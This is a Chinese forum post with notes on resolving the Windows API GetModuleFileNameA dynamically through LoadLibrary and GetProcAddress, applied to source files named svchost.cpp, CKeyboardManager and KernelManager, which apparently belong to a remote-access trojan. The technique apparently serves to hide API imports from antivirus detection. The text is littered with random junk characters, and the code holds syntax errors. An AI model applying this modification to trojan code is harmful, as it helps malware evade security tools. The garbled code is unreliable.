[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
2 ^* B2 }  p% N6 T! A# Q2 Zsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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4 [# b) S% N* W1 s6 i" GDTDY.h：
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, Y4 j: ?  O) P/ y9 b: ~. s#if _MSC_VER>1000
! }/ {( F* D6 |  \$ z#pragma once% L3 t  F5 e& J6 ?1 |% V8 f
#endif //_MSC_VER>1000
. r& X: B' W0 c% J- [: d& |3 e#include<windows.h>9 r$ H+ |; g/ x4 R" K( r0 k

- S$ B5 k2 d) F$ F4 L4 E3 vtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);2 v; s! p, L. D( |( g. }2 r- j
class DTDY) ?9 Q# Q+ {2 I2 q5 Q6 o# [
{
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DTDY();
. ~$ M+ \5 B) J  Cvirtual ~DTDY();
$ s. D. P9 E( A' z$ @0 Fpublic:6 H3 Y' L* w4 q( O
static pGetModuleFileNameA MyGetModuleFileName;
/ u; \7 P: K) {static BOOL FunInitiallization();* a' n, p1 C9 X6 ^0 f
};( Y& `4 H8 J7 e' r& e, B) F8 R2 W
#endif, a1 A  g$ Y; v7 @9 y( E9 ]
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% A% G# q+ R5 |% }6 WDTDY.cpp:% v( E' g; D- B( q6 p

* T9 X* G& c9 l* \3 d& g#include "DTDY.h"7 c1 K# S0 b2 ^3 t
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;, ^$ W+ O$ h2 A8 }
DTDY:TDY()
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}
/ _1 [# n9 f% \% b7 q+ gDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()7 m$ s8 j- ?; T) Y* N9 U
{
* ]. S' g' m4 l" m  e  U' q  u: nHMODULE hModule=LoadLibrary("kernel32.dll");
- n4 C0 K7 x8 b& \! v4 t; y  FMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
! L$ p3 a2 y9 yif(!MyGetModuleFileName=) return FALSE;2 o) \" P, b# G

$ t  F" R; ?2 C0 q, Mreturn TRUE;
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+ U& J$ m; O) L" f6 |5 j. Osvchost.cpp:
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#include "DTDY.h"$ ], i6 O/ J2 j$ X
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
$ {+ T! d; l* H, F, e4 a{; }6 r. B' a- T6 `& {5 g& ?
switch(ul_reason_for_call): P8 U6 W: I8 n* Q3 o  ]+ _" o
{
( C: Y. Y* f) X' W2 u9 _& Xcase DLL_PROCESS_ATTACH:' f; K$ F  W2 }6 u
if(!DTDY::FunInitiallization()) return FALSE;+ i$ M& H4 m" P# z' e! n

7 ~! t, S6 A' M2 y6 F. hbreak;5 l! h6 L% g7 N1 {
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}
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& E& w+ z3 ^6 W& S, f2 u1 j: x8 hGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
% D8 Y" o+ Y4 @+ W" ^# c: J改写为
  ?! r, F/ g# R- @  M3 kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));) {3 I$ F- }7 X. J% [0 f
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1 ?4 J6 J- v& P; zKernelManager.cpp:
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5 @6 s, C0 z# i# n#include "../DTDY.h"; K& o9 u$ p  ~& ]" P$ M3 N  F
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  X, N5 g2 f% |+ @1 S8 b改写为$ T8 u( K2 M- K6 y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( l: m9 I2 p6 E4 _, S4 t
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